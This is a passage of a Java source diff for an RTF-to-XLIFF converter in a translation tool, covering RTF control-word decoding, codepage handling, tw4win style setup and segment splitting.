//$NON-NLS-2$ + frag = replaceToken(frag, "\\rdblquote ", "" + '\u201D'); //$NON-NLS-1$ //$NON-NLS-2$ + frag = replaceToken(frag, "\\tab ", "" + '\u0009'); //$NON-NLS-1$ //$NON-NLS-2$ + + // replace the same characters again, without the space + frag = replaceToken(frag, "\\emdash", "" + '\u2014'); //$NON-NLS-1$ //$NON-NLS-2$ + frag = replaceToken(frag, "\\endash", "" + '\u2013'); //$NON-NLS-1$ //$NON-NLS-2$ + frag = replaceToken(frag, "\\lquote", "" + '\u2018'); //$NON-NLS-1$ //$NON-NLS-2$ + frag = replaceToken(frag, "\\rquote", "" + '\u2019'); //$NON-NLS-1$ //$NON-NLS-2$ + frag = replaceToken(frag, "\\ldblquote", "" + '\u201C'); //$NON-NLS-1$ //$NON-NLS-2$ + frag = replaceToken(frag, "\\rdblquote", "" + '\u201D'); //$NON-NLS-1$ //$NON-NLS-2$ + frag = replaceToken(frag, "\\tab", "" + '\u0009'); //$NON-NLS-1$ //$NON-NLS-2$ + + // remove special spaces and replace with Unicode version + frag = replaceToken(frag, "\\enspace", "" + '\u2002'); //$NON-NLS-1$ //$NON-NLS-2$ + frag = replaceToken(frag, "\\emspace", "" + '\u2003'); //$NON-NLS-1$ //$NON-NLS-2$ + frag = replaceToken(frag, "\\qmspace", "" + '\u2005'); //$NON-NLS-1$ //$NON-NLS-2$ + frag = replaceToken(frag, "\\~", "" + '\u00A0'); // non breaking //$NON-NLS-1$ //$NON-NLS-2$ + // space + // //$NON-NLS-1$ + // //$NON-NLS-2$ + + // Hyphens + frag = replaceToken(frag, "\\_", "" + '\u2011'); // non breaking //$NON-NLS-1$ //$NON-NLS-2$ + // hyphen + // //$NON-NLS-1$ + // //$NON-NLS-2$ + frag = replaceToken(frag, "\\-", "" + '\u00AD'); // soft hyphen //$NON-NLS-1$ //$NON-NLS-2$ + // //$NON-NLS-1$ + // //$NON-NLS-2$ + + if (frag.equals("{")) { //$NON-NLS-1$ + saveCurrStatus(); + level++; + } else if (frag.equals("}")) { //$NON-NLS-1$ + level--; + restoreStatus(); + } + if (frag.startsWith("\\\'")) { //$NON-NLS-1$ + String run = frag; + while (v.get(i + 1).startsWith("\\\'")) { //$NON-NLS-1$ + run = run + v.get(i + 1); + i++; + } + frag = decode(run); + if (frag.trim().length() == 1 && skip > 0 && result.charAt(result.length() - 1) == frag.charAt(0)) { + frag = ""; //$NON-NLS-1$ + } + skip--; + } else if (frag.startsWith("\\")) { //$NON-NLS-1$ + String ctl = getControl(frag); + String remainder = getReminder(frag); + if (ctl.equals("loch")) { //$NON-NLS-1$ + inDBCH = false; + inLOCH = true; + inHICH = false; + frag = remainder; + } else if (ctl.equals("hich")) { //$NON-NLS-1$ + inDBCH = false; + inLOCH = false; + inHICH = true; + frag = remainder; + } else if (ctl.equals("dbch")) { //$NON-NLS-1$ + inDBCH = true; + inLOCH = false; + inHICH = false; + frag = remainder; + } else if (ctl.equals("uc")) { //$NON-NLS-1$ + defaultUC = getValue(frag); + frag = remainder; + } else if (ctl.equals("u")) { //$NON-NLS-1$ + frag = decodeU(getValue(frag)) + remainder; + skip = Integer.parseInt(defaultUC); + } else if (ctl.equals("f")) { //$NON-NLS-1$ + String value = getValue(frag); + if (!fontTable.containsKey(value)) { + value = defaultFont; + } + defaultCpg = fontTable.get(value); + srcEncoding = charsets.get(defaultCpg); + if (value.equals(defaultFont) || ignorableFonts.containsKey(value)) { + frag = remainder; + } + defaultFont = value; + } else if (ctl.equals("af")) { //$NON-NLS-1$ + String value = getValue(frag); + if (!value.equals(defaultAF)) { + defaultAF = value; + } + frag = remainder; + } else if (ctl.equals("cf")) { //$NON-NLS-1$ + String value = getValue(frag); + if (value.equals(defaultCF)) { + frag = remainder; + } + defaultCF = value; + } else if (ctl.equals("s") || //$NON-NLS-1$ + ctl.equals("cs") || //$NON-NLS-1$ + ctl.equals("ts") || //$NON-NLS-1$ + ctl.equals("ds")) { //$NON-NLS-1$ + + String style = getValue(frag); + if (styleFonts.containsKey(style)) { + String value = styleFonts.get(style); + defaultCpg = fontTable.get(value); + srcEncoding = charsets.get(defaultCpg); + defaultFont = value; + } + if (cfTable.containsKey(style)) { + defaultCF = cfTable.get(style); + } else { + defaultCF = "1"; //$NON-NLS-1$ + } + } else if (ctl.equals("pard")) { //$NON-NLS-1$ + resetStatus(); + } else if (ignore.containsKey(ctl)) { + String value = getValue(frag); + if (value.equals("")) { //$NON-NLS-1$ + value = ctl; + } + frag = remainder; + } + if (frag.matches("[0-9].*")) { //$NON-NLS-1$ + if (result.matches(".*\\\\[a-z]+[0-9]+")) { //$NON-NLS-1$ + frag = " " + frag; //$NON-NLS-1$ + } + } else if (frag.matches("[a-zA-Z].*")) { //$NON-NLS-1$ + if (result.matches(".*\\\\[a-z]+")) { //$NON-NLS-1$ + frag = " " + frag; //$NON-NLS-1$ + } + } + + } else { + // plain text + if (skip > 0 && frag.startsWith(" ?")) { //$NON-NLS-1$ + frag = frag.substring(2); + skip--; + } + if (skip > 0 && frag.startsWith("?")) { //$NON-NLS-1$ + frag = frag.substring(1); + skip--; + } + } + if (frag.matches("[0-9].*")) { //$NON-NLS-1$ + if (result.matches(".*\\\\[a-z]+[0-9]*")) { //$NON-NLS-1$ + frag = " " + frag; //$NON-NLS-1$ + } + } else if (frag.matches("[a-zA-Z].*")) { //$NON-NLS-1$ + if (result.matches(".*\\\\[a-z]+")) { //$NON-NLS-1$ + frag = " " + frag; //$NON-NLS-1$ + } + } + result = result + frag; + subMonitor2.worked(1); + } + subMonitor2.done(); + // æ­¤ paseGroup 方法éžå¸¸è€—时,ç»è¿‡æµ‹è¯•ï¼Œæ–‡ä»¶å¤§å°ä¸º 1867519 bytes(约 1.8m) çš„ rtf 文件,在 paseGroup 方法中需热循环 1793397 次。 + String temp = parseGroup(result, Progress.getSubMonitor(monitor, 8)); + monitor.done(); + + return temp; + } + + /** + * Gets the reminder. + * @param token + * the token + * @return the reminder + */ + private String getReminder(String token) { + String control = getControl(token); + token = token.substring(token.indexOf(control) + control.length()); + StringBuffer buffer = new StringBuffer(); + for (int i = 0; i < token.length(); i++) { + char c = token.charAt(i); + if ((c >= '0' && c <= '9') || c == '-') { + buffer.append(c); + } else { + if (c == ' ') { + buffer.append(c); + } + break; + } + } + return token.substring(buffer.toString().length()); + } + + /** + * Reset status. + */ + private void resetStatus() { + defaultUC = (String) defaultStatus.get("defaultUC"); //$NON-NLS-1$ + defaultFont = (String) defaultStatus.get("defaultFont"); //$NON-NLS-1$ + defaultAF = (String) defaultStatus.get("defaultAF"); //$NON-NLS-1$ + defaultLang = (String) defaultStatus.get("defaultLang"); //$NON-NLS-1$ + srcEncoding = (String) defaultStatus.get("srcEncoding"); //$NON-NLS-1$ + defaultCpg = (String) defaultStatus.get("defaultCpg"); //$NON-NLS-1$ + defaultCF = (String) defaultStatus.get("defaultCF"); //$NON-NLS-1$ + } + + /** + * Decode. + * @param string + * the string + * @return the string + * @throws UnsupportedEncodingException + * the unsupported encoding exception + */ + private String decode(String string) throws UnsupportedEncodingException { + String remainder = ""; //$NON-NLS-1$ + if (string.indexOf(" ") != -1) { //$NON-NLS-1$ + remainder = string.substring(string.indexOf(" ") + 1); //$NON-NLS-1$ + } + string = string.replaceAll("\'", ""); //$NON-NLS-1$ //$NON-NLS-2$ + StringTokenizer tk = new StringTokenizer(string, "\\"); //$NON-NLS-1$ + String converted = ""; //$NON-NLS-1$ + if (inDBCH) { + int size = tk.countTokens(); + byte[] array = new byte[size]; + int j = 0; + while (tk.hasMoreTokens()) { + String s = tk.nextToken(); + array[j++] = (byte) Integer.parseInt(s, 16); + } + if (!srcEncoding.equals("Symbol")) { //$NON-NLS-1$ + converted = new String(array, srcEncoding); + } else { + converted = new String(array, getEncoding("1252")); //$NON-NLS-1$ + } + } else if (inHICH) { + while (tk.hasMoreTokens()) { + String s = tk.nextToken(); + if (!srcEncoding.equals("Symbol")) { //$NON-NLS-1$ + byte[] array = new byte[1]; + array[0] = (byte) Integer.parseInt(s, 16); + converted = converted + new String(array, srcEncoding); + } else { + converted = converted + symbols.get(new Integer(Integer.parseInt(s, 16))); + } + } + } else { + // inLOCH + if (!srcEncoding.equals("Symbol")) { //$NON-NLS-1$ + while (tk.hasMoreTokens()) { + String s = tk.nextToken(); + byte b = (byte) Integer.parseInt(s, 16); + byte[] array = new byte[2]; + if (isLeadByte(b)) { + // it is a leading byte, get next one and convert + array[0] = b; + array[1] = (byte) Integer.parseInt(tk.nextToken(), 16); + } else { + array[0] = b; + array[1] = 0; + } + String ss = ""; //$NON-NLS-1$ + try { + ss = new String(array, srcEncoding); + } catch (Exception e) { + ss = new String(array, getEncoding("1252")); //$NON-NLS-1$ + } + converted = converted + ss.charAt(0); + } + } else { + while (tk.hasMoreTokens()) { + String s = tk.nextToken(); + converted = converted + symbols.get(Integer.parseInt(s, 16)); + } + } + } + converted = replaceToken(converted, "{", "\uE008"); //$NON-NLS-1$ //$NON-NLS-2$ + converted = replaceToken(converted, "}", "\uE007"); //$NON-NLS-1$ //$NON-NLS-2$ + converted = replaceToken(converted, "\\", "\uE011"); //$NON-NLS-1$ //$NON-NLS-2$ + + return converted + remainder; + } + + /** + * Restore status. + */ + private void restoreStatus() { + if (!stack.isEmpty()) { + status = stack.pop(); + defaultUC = (String) status.get("defaultUC"); //$NON-NLS-1$ + defaultFont = (String) status.get("defaultFont"); //$NON-NLS-1$ + defaultAF = (String) status.get("defaultAF"); //$NON-NLS-1$ + defaultLang = (String) status.get("defaultLang"); //$NON-NLS-1$ + srcEncoding = (String) status.get("srcEncoding"); //$NON-NLS-1$ + defaultCpg = (String) status.get("defaultCpg"); //$NON-NLS-1$ + inLOCH = ((Boolean) status.get("inLOCH")).booleanValue(); //$NON-NLS-1$ + inHICH = ((Boolean) status.get("inHICH")).booleanValue(); //$NON-NLS-1$ + inDBCH = ((Boolean) status.get("inDBCH")).booleanValue(); //$NON-NLS-1$ + } else { + status = new Hashtable(); + status.put("defaultUC", defaultUC); //$NON-NLS-1$ + status.put("defaultFont", defaultFont); //$NON-NLS-1$ + status.put("defaultLang", defaultLang); //$NON-NLS-1$ + status.put("srcEncoding", srcEncoding); //$NON-NLS-1$ + status.put("defaultCpg", defaultCpg); //$NON-NLS-1$ + status.put("defaultAF", defaultAF); //$NON-NLS-1$ + status.put("inLOCH", new Boolean(inLOCH)); //$NON-NLS-1$ + status.put("inHICH", new Boolean(inHICH)); //$NON-NLS-1$ + status.put("inDBCH", new Boolean(inDBCH)); //$NON-NLS-1$ + } + } + + /** + * Save curr status. + */ + private void saveCurrStatus() { + status = new Hashtable(); + status.put("defaultUC", defaultUC); //$NON-NLS-1$ + status.put("defaultFont", defaultFont); //$NON-NLS-1$ + status.put("defaultLang", defaultLang); //$NON-NLS-1$ + status.put("srcEncoding", srcEncoding); //$NON-NLS-1$ + status.put("defaultCpg", defaultCpg); //$NON-NLS-1$ + status.put("defaultAF", defaultAF); //$NON-NLS-1$ + status.put("inLOCH", new Boolean(inLOCH)); //$NON-NLS-1$ + status.put("inHICH", new Boolean(inHICH)); //$NON-NLS-1$ + status.put("inDBCH", new Boolean(inDBCH)); //$NON-NLS-1$ + + stack.push(status); + } + + /** + * Write str. + * @param string + * the string + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void writeStr(String string) throws IOException { + string = replaceToken(string, "\uE008", "{"); //$NON-NLS-1$ //$NON-NLS-2$ + string = replaceToken(string, "\uE007", "}"); //$NON-NLS-1$ //$NON-NLS-2$ + string = replaceToken(string, "\uE011", "\\\\"); //$NON-NLS-1$ //$NON-NLS-2$ + + output.write(string.getBytes("UTF-8")); //$NON-NLS-1$ + } + + /** + * Builds the groups. + */ + private void buildGroups() { + groups = new Vector(); + int level = 0; + int i = header.length(); + StringBuffer buffer = new StringBuffer(); + int size = content.length(); + while (i < size) { + char c = content.charAt(i++); + if (c != '\r' && c != '\n') { + buffer.append(c); + } + if (c == '{') { + level++; + } + if (c == '}') { + level--; + } + if (level == 0) { + groups.add(buffer.toString()); + buffer = null; + buffer = new StringBuffer(); + } + } + groups.add(content.substring(i)); + content = null; + } + + /** + * Builds the style list. + * @param group + * the group + * @throws Exception + * the exception + */ + private void buildStyleList(String group) throws Exception { + int level = 0; + int i = group.indexOf("{", 1); //$NON-NLS-1$ + StringBuffer buffer = new StringBuffer(); + while (i < group.length()) { + char c = group.charAt(i++); + if (c == '\n' || c == '\r') { + continue; + } + buffer.append(c); + if (c == '{') { + level++; + } + if (c == '}') { + level--; + } + if (level == 0) { + String style = buffer.toString().trim(); + if (style.indexOf("tw4winMark") != -1) { //$NON-NLS-1$ + tw4winMark = true; + winMark = getStyle(style) + + "\\v\\cf" + getValue("cf", style) + "\\sub\\f" + getValue("f", style) + "\\fs24"; //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ //$NON-NLS-4$ //$NON-NLS-5$ + } + if (style.indexOf("tw4winError") != -1) { //$NON-NLS-1$ + tw4winError = true; + } + if (style.indexOf("tw4winPopup") != -1) { //$NON-NLS-1$ + tw4winPopup = true; + } + if (style.indexOf("tw4winJump") != -1) { //$NON-NLS-1$ + tw4winJump = true; + } + if (style.indexOf("tw4winExternal") != -1) { //$NON-NLS-1$ + tw4winExternal = true; + winExternal = getStyle(style) + + "\\cf" + getValue("cf", style) + "\\f" + getValue("f", style) + "\\lang1024"; //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ //$NON-NLS-4$ //$NON-NLS-5$ + } + if (style.indexOf("tw4winInternal") != -1) { //$NON-NLS-1$ + tw4winInternal = true; + winInternal = getStyle(style) + + "\\cf" + getValue("cf", style) + "\\f" + getValue("f", style) + "\\lang1024"; //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ //$NON-NLS-4$ //$NON-NLS-5$ + markStyle = "\\v\\cf" + getValue("cf", style) + "\\sub\\f" + getValue("f", style) + "\\fs24"; //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ //$NON-NLS-4$ //$NON-NLS-5$ + } + if (style.indexOf("tw4winTerm") != -1) { //$NON-NLS-1$ + tw4winTerm = true; + } + if (style.indexOf("DO_NOT_TRANSLATE") != -1) { //$NON-NLS-1$ + do_not_translate = true; + not_translate = getStyle(style); + } + styles.add(style); + buffer = null; + buffer = new StringBuffer(); + } + } + } + + /** + * Gets the value. + * @param token + * the token + * @return the value + */ + private String getValue(String token) { + String control = getControl(token); + if (control.equals("'")) { //$NON-NLS-1$ + return token.substring(token.indexOf("'"), token.indexOf("'") + 2); //$NON-NLS-1$ //$NON-NLS-2$ + } + token = token.substring(token.indexOf(control) + control.length()); + StringBuffer buffer = new StringBuffer(); + for (int i = 0; i < token.length(); i++) { + char c = token.charAt(i); + if ((c >= '0' && c <= '9') || c == '-') { + buffer.append(c); + } else { + break; + } + } + return buffer.toString(); + } + + /** + * Gets the control. + * @param token + * the token + * @return the control + */ + private String getControl(String token) { + if (token.trim().length() < 2 || "{\\".indexOf(token.trim().charAt(0)) == -1) { //$NON-NLS-1$ + return ""; //$NON-NLS-1$ + } + StringBuffer buffer = new StringBuffer(); + for (int i = 1; i < token.length(); i++) { + char c = token.charAt(i); + if (c == '\\' || c == '*' || c == '{') { + continue; + } + if (c == '\'') { + return "'"; //$NON-NLS-1$ + } + if (!((c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z'))) { + break; + } + buffer.append(c); + } + return buffer.toString(); + } + + /** + * Replace token. + * @param string + * the string + * @param token + * the token + * @param newText + * the new text + * @return the string + */ + String replaceToken(String string, String token, String newText) { + int index = string.indexOf(token); + while (index != -1) { + String before = string.substring(0, index); + String after = string.substring(index + token.length()); + string = before + newText + after; + index = string.indexOf(token, index + newText.length()); + } + return string; + } + + /** + * Decode u. + * @param current + * the current + * @return the string + */ + private String decodeU(String current) { + String run = ""; //$NON-NLS-1$ + int i = 0; + + for (i = 0; i < current.length(); i++) { + if (isDigit(current.charAt(i)) || current.charAt(i) == '-') { + break; + } + } + if (current.charAt(i) == '-') { + run = "-"; //$NON-NLS-1$ + i++; + } + for (; i < current.length(); i++) { + if (isDigit(current.charAt(i))) { + run = run + current.charAt(i); + } else { + // avoid trailing spaces if any + break; + } + } + int value = Integer.parseInt(run); + if (value < 0) { + value = value + 65536; + } + if (!srcEncoding.equals("Symbol")) { //$NON-NLS-1$ + return "" + new Character((char) value); //$NON-NLS-1$ + } + if (value > 0xF000) { + value = value - 0xF000; + } + return symbols.get(new Integer(value)); + } + + /** + * Checks if is digit. + * @param c + * the c + * @return true, if is digit + */ + private boolean isDigit(char c) { + return c >= '0' && c <= '9'; + } + + /** + * Fill ignore. + */ + private void fillIgnore() { + ignore = new Hashtable(); + ignore.put("insrsid", ""); //$NON-NLS-1$ //$NON-NLS-2$ + ignore.put("charrsid", ""); //$NON-NLS-1$ //$NON-NLS-2$ + ignore.put("langfe", ""); //$NON-NLS-1$ //$NON-NLS-2$ + ignore.put("lang", ""); //$NON-NLS-1$ //$NON-NLS-2$ + ignore.put("langnp", ""); //$NON-NLS-1$ //$NON-NLS-2$ + ignore.put("sectrsid", ""); //$NON-NLS-1$ //$NON-NLS-2$ + ignore.put("pararsid", ""); //$NON-NLS-1$ //$NON-NLS-2$ + ignore.put("tblrsid", ""); //$NON-NLS-1$ //$NON-NLS-2$ + ignore.put("delrsid", ""); //$NON-NLS-1$ //$NON-NLS-2$ + } + + /** + * Builds the color list. + * @param group + * the group + */ + private void buildColorList(String group) { + colorList = new Vector(); + String list = group.substring(group.indexOf("colortbl") + "colortbl".length()).trim(); //$NON-NLS-1$ //$NON-NLS-2$ + list = list.substring(list.indexOf("\\"), list.indexOf("}")).trim(); //$NON-NLS-1$ //$NON-NLS-2$ + StringTokenizer tk = new StringTokenizer(list, ";"); //$NON-NLS-1$ + while (tk.hasMoreTokens()) { + String color = tk.nextToken().trim(); + colorList.add(color); + } + } + + /** + * Adds the styles. + */ + private void addStyles() { + String tw4winMarkColor = "\\red128\\green0\\blue128"; //$NON-NLS-1$ + String tw4winErrorColor = "\\red0\\green255\\blue0"; //$NON-NLS-1$ + String tw4winPopupColor = "\\red0\\green128\\blue0"; //$NON-NLS-1$ + String tw4winJumpColor = "\\red0\\green128\\blue128"; //$NON-NLS-1$ + String tw4winExternalColor = "\\red128\\green128\\blue128"; //$NON-NLS-1$ + String tw4winInternalColor = "\\red255\\green0\\blue0"; //$NON-NLS-1$ + String tw4winTermColor = "\\red0\\green0\\blue255"; //$NON-NLS-1$ + String doNotTranslateColor = "\\red128\\green0\\blue0"; //$NON-NLS-1$ + + int code = getNextFreestyle(); + int font = getMaxFont(); + fonts.add("{\\f" + font + "\\fmodern\\fprq1 {\\*\\panose 02070309020205020404}\\fcharset0 Courier New;}"); //$NON-NLS-1$ //$NON-NLS-2$ + fontTable.put("" + font, "0"); //$NON-NLS-1$ //$NON-NLS-2$ + int color = 0; + String style = ""; //$NON-NLS-1$ + + if (!tw4winMark) { + color = getColor(tw4winMarkColor); + winMark = "\\cs" + code + "\\v\\cf" + color //$NON-NLS-1$ //$NON-NLS-2$ + + "\\sub\\f" + font + "\\fs24"; //$NON-NLS-1$ //$NON-NLS-2$ + style = "{\\*\\cs" + code++ + " \\additive \\v\\cf" + color //$NON-NLS-1$ //$NON-NLS-2$ + + "\\sub\\f" + font + "\\fs24 tw4winMark;}"; //$NON-NLS-1$ //$NON-NLS-2$ + styles.add(style); + tw4winMark = true; + } + if (!tw4winError) { + color = getColor(tw4winErrorColor); + style = "{\\*\\cs" + code++ + " \\additive \\cf" + color + "\\fs40\\f" + font //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + + "\\fs24 tw4winError;}"; //$NON-NLS-1$ + styles.add(style); + tw4winError = true; + } + if (!tw4winPopup) { + color = getColor(tw4winPopupColor); + style = "{\\*\\cs" + code++ + " \\additive \\f" + font + "\\cf" + color + " tw4winPopup;}"; //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ //$NON-NLS-4$ + styles.add(style); + tw4winPopup = true; + } + if (!tw4winJump) { + color = getColor(tw4winJumpColor); + style = "{\\*\\cs" + code++ + " \\additive \\f" + font + "\\cf" + color + " tw4winJump;}"; //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ //$NON-NLS-4$ + styles.add(style); + tw4winJump = true; + } + if (!tw4winExternal) { + winExternal = "\\cs" + code + "\\cf" + color + "\\f" + font //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + + "\\lang1024"; //$NON-NLS-1$ + color = getColor(tw4winExternalColor); + style = "{\\*\\cs" + code++ + " \\additive \\cf" + color + "\\f" + font //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + + "\\lang1024 tw4winExternal;}"; //$NON-NLS-1$ + styles.add(style); + tw4winExternal = true; + } + if (!tw4winInternal) { + color = getColor(tw4winInternalColor); + winInternal = "\\cs" + code + "\\cf" + color + "\\f" + font //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + + "\\lang1024"; //$NON-NLS-1$ + style = "{\\*\\cs" + code++ + " \\additive \\cf" + color + "\\f" + font //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + + "\\lang1024 tw4winInternal;}"; //$NON-NLS-1$ + styles.add(style); + tw4winInternal = true; + } + if (!tw4winTerm) { + color = getColor(tw4winTermColor); + style = "{\\*\\cs" + code++ + " \\additive \\cf" + color + " tw4winTerm;}"; //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + styles.add(style); + tw4winTerm = true; + } + if (!do_not_translate) { + color = getColor(doNotTranslateColor); + style = "{\\*\\cs" + code++ + " \\additive \\cf" + color + "\\f" + font //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + + "\\lang1024 DO_NOT_TRANSLATE;}"; //$NON-NLS-1$ + styles.add(style); + do_not_translate = true; + } + + } + + /** + * Gets the color. + * @param color + * the color + * @return the color + */ + private int getColor(String color) { + for (int i = 0; i < colorList.size(); i++) { + if (color.equals(colorList.get(i))) { + return i + 1; + } + } + colorList.add(color); + return colorList.size(); + } + + /** + * Gets the next freestyle. + * @return the next freestyle + */ + private int getNextFreestyle() { + int max = -1; + for (int i = 0; i < styles.size(); i++) { + String string = styles.get(i); + StringTokenizer tk = new StringTokenizer(string, "\\", true); //$NON-NLS-1$ + while (tk.hasMoreTokens()) { + String token = tk.nextToken(); + if (token.equals("\\")) { //$NON-NLS-1$ + if (!tk.hasMoreTokens()) { + break; + } + token = token + tk.nextToken(); + } + if (getControl(token).equals("s") //$NON-NLS-1$ + || getControl(token).equals("cs") //$NON-NLS-1$ + || getControl(token).equals("ds") //$NON-NLS-1$ + || getControl(token).equals("ts")) { //$NON-NLS-1$ + + int value = Integer.parseInt(getValue(token).trim()); + if (value > max) { + max = value; + } + } + } + } + return max + 1; + } + + /** + * Gets the max font. + * @return the max font + */ + private int getMaxFont() { + int max = -1; + for (int i = 0; i < fonts.size(); i++) { + String string = fonts.get(i); + StringTokenizer tk = new StringTokenizer(string, "\\", true); //$NON-NLS-1$ + while (tk.hasMoreTokens()) { + String token = tk.nextToken(); + if (token.equals("\\")) { //$NON-NLS-1$ + token = token + tk.nextToken(); + } + if (getControl(token).equals("f")) { //$NON-NLS-1$ + int value = Integer.parseInt(getValue(token).trim()); + if (value > max) { + max = value; + } + } + } + } + return max + 1; + } + + /** + * Checks if is lead byte. + * @param aByte + * the a byte + * @return true, if is lead byte + */ + private boolean isLeadByte(byte aByte) { + if (srcEncoding.equals(charsets.get("128"))) { //$NON-NLS-1$ + // Shift-JIS + if ((aByte >= 0x81) && (aByte <= 0x9F)) { + return true; + } + if ((aByte >= 0xE0) && (aByte <= 0xEE)) { + return true; + } + if ((aByte >= 0xFA) && (aByte <= 0xFC)) { + return true; + } + } + if (srcEncoding.equals(charsets.get("134"))) { //$NON-NLS-1$ + // 936: Chinese Simplified (GB2312) + if ((aByte >= 0xA1) && (aByte <= 0xA9)) { + return true; + } + if ((aByte >= 0xB0) && (aByte <= 0xF7)) { + return true; + } + } + if (srcEncoding.equals(getEncoding("949"))) { //$NON-NLS-1$ + // 949: Korean + if ((aByte >= 0x81) && (aByte <= 0xC8)) { + return true; + } + if ((aByte >= 0xCA) && (aByte <= 0xFD)) { + return true; + } + } + if (srcEncoding.equals(charsets.get("136"))) { //$NON-NLS-1$ + // 950: Chinese Traditional (Big5) + if ((aByte >= 0xA1) && (aByte <= 0xC6)) { + return true; + } + if ((aByte >= 0xC9) && (aByte <= 0xF9)) { + return true; + } + } + // All other encoding: No lead bytes + return false; + } + + /** + * Parses the. + * @param group + * the group + */ + private void parse(String group, IProgressMonitor monitor) { + + System.out.println("Initializing rules"); //$NON-NLS-1$ + initBreaks(); + + segments = new Vector(); + + StringTokenizer tk = new StringTokenizer(group, "\\{}", true); //$NON-NLS-1$ + System.out.println("Processing " + tk.countTokens() + " tokens"); //$NON-NLS-1$ //$NON-NLS-2$ + String segment = ""; //$NON-NLS-1$ + String token = ""; //$NON-NLS-1$ + + int tokenSize = tk.countTokens(); + monitor.beginTask(Messages.getString("rtf.Rtf2Xliff.task10"), tokenSize); + monitor.subTask(""); + + while (tk.hasMoreTokens()) { + // 是å¦å–消æ“作 + if (monitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("rtf.cancel")); + } + + token = tk.nextToken(); + if (token.equals("\\")) { //$NON-NLS-1$ + token = token + tk.nextToken(); + } + if (token.equals("{")) { //$NON-NLS-1$ + token = token + tk.nextToken(); + } + if (token.equals("}")) { //$NON-NLS-1$ + skip = 0; + } + if (token.equals("{\\")) { //$NON-NLS-1$ + token = token + tk.nextToken(); + } + if (token.equals("\\*") || token.equals("{\\*")) { //$NON-NLS-1$ //$NON-NLS-2$ + token = token + tk.nextToken() + tk.nextToken(); + } + String ctrl = getControl(token); + if (ctrl.equals("footnote")) { //$NON-NLS-1$ + // skip until the end of the footnote + // ignore any breaking token + segment = segment + token.substring(0, token.indexOf("\\footnote")); //$NON-NLS-1$ + token = token.substring(token.indexOf("\\footnote")); //$NON-NLS-1$ + int level = 1; + boolean canBreak = false; + do { + if (token.equals("{")) { //$NON-NLS-1$ + level++; + } + if (token.equals("}")) { //$NON-NLS-1$ + level--; + } + if (level == 0) { + canBreak = true; + } + segment = segment + token; + token = tk.nextToken(); + } while (!canBreak); // == false); + ctrl = getControl(token); + } + if (breaks.containsKey(ctrl)) { + if (token.startsWith("{")) { //$NON-NLS-1$ + segment = segment + token.substring(0, token.indexOf("\\")); //$NON-NLS-1$ + token = token.substring(token.indexOf("\\")); //$NON-NLS-1$ + } + segments.add(segment); + segment = ""; //$NON-NLS-1$ + } + segment = segment + token; + monitor.worked(1); + } + monitor.done(); + + segments.add(segment); + } + + /** + * Inits the breaks. + */ + private void initBreaks() { + breaks = new Hashtable(); + breaks.put("par", ""); //$NON-NLS-1$ //$NON-NLS-2$ + breaks.put("pard", ""); //$NON-NLS-1$ //$NON-NLS-2$ + breaks.put("row", ""); //$NON-NLS-1$ //$NON-NLS-2$ + breaks.put("cell", ""); //$NON-NLS-1$ //$NON-NLS-2$ + breaks.put("nestcell", ""); //$NON-NLS-1$ //$NON-NLS-2$ + breaks.put("dobypara", ""); //$NON-NLS-1$ //$NON-NLS-2$ + breaks.put("sectd", ""); //$NON-NLS-1$ //$NON-NLS-2$ + breaks.put("header", ""); //$NON-NLS-1$ //$NON-NLS-2$ + breaks.put("footer", ""); //$NON-NLS-1$ //$NON-NLS-2$ + breaks.put("headerf", ""); //$NON-NLS-1$ //$NON-NLS-2$ + breaks.put("footerf", ""); //$NON-NLS-1$ //$NON-NLS-2$ + breaks.put("headerl", ""); //$NON-NLS-1$ //$NON-NLS-2$ + breaks.put("headerr", ""); //$NON-NLS-1$ //$NON-NLS-2$ + breaks.put("footerl", ""); //$NON-NLS-1$ //$NON-NLS-2$ + breaks.put("footerr", ""); //$NON-NLS-1$ //$NON-NLS-2$ + + if (!taggedRTF) { + breaks.put("line", ""); //$NON-NLS-1$ //$NON-NLS-2$ + // breaks.put("tab",""); + } + + // breaks.put("do",""); + // breaks.put("sp",""); + } + + /** + * Check segments. + * @throws IOException + * Signals that an I/O exception has occurred. + * @throws SAXException + * the SAX exception + */ + private void checkSegments(IProgressMonitor monitor) throws IOException, SAXException { + monitor.beginTask(Messages.getString("rtf.Rtf2Xliff.task11"), segments.size()); + monitor.subTask(""); + for (int i = 0; i < segments.size(); i++) { + // 是å¦å–消æ“作 + if (monitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("rtf.cancel")); + } + String segment = segments.get(i); + String trimmed = segment.trim(); + if (inExternal && trimmed.startsWith("\\pard")) { //$NON-NLS-1$ + inExternal = false; + } + processSegment(segment); + monitor.worked(1); + } + monitor.done(); + } + + /** + * Write skl. + * @param string + * the string + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void writeSkl(String string) throws IOException { + string = replaceToken(string, "\uE008", "\\{"); //$NON-NLS-1$ //$NON-NLS-2$ + string = replaceToken(string, "\uE007", "\\}"); //$NON-NLS-1$ //$NON-NLS-2$ + string = replaceToken(string, "\uE011", "\\\\"); //$NON-NLS-1$ //$NON-NLS-2$ + string = replaceToken(string, "\u0009", "\\tab "); //$NON-NLS-1$ //$NON-NLS-2$ + string = restoreControls(string); + skeleton.write(string.getBytes("UTF-8")); //$NON-NLS-1$ + } + + /** + * Write skeleton. + * @param string + * the string + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void writeSkeleton(String string) throws IOException { + string = replaceToken(string, "\uE008", "\\{"); //$NON-NLS-1$ //$NON-NLS-2$ + string = replaceToken(string, "\uE007", "\\}"); //$NON-NLS-1$ 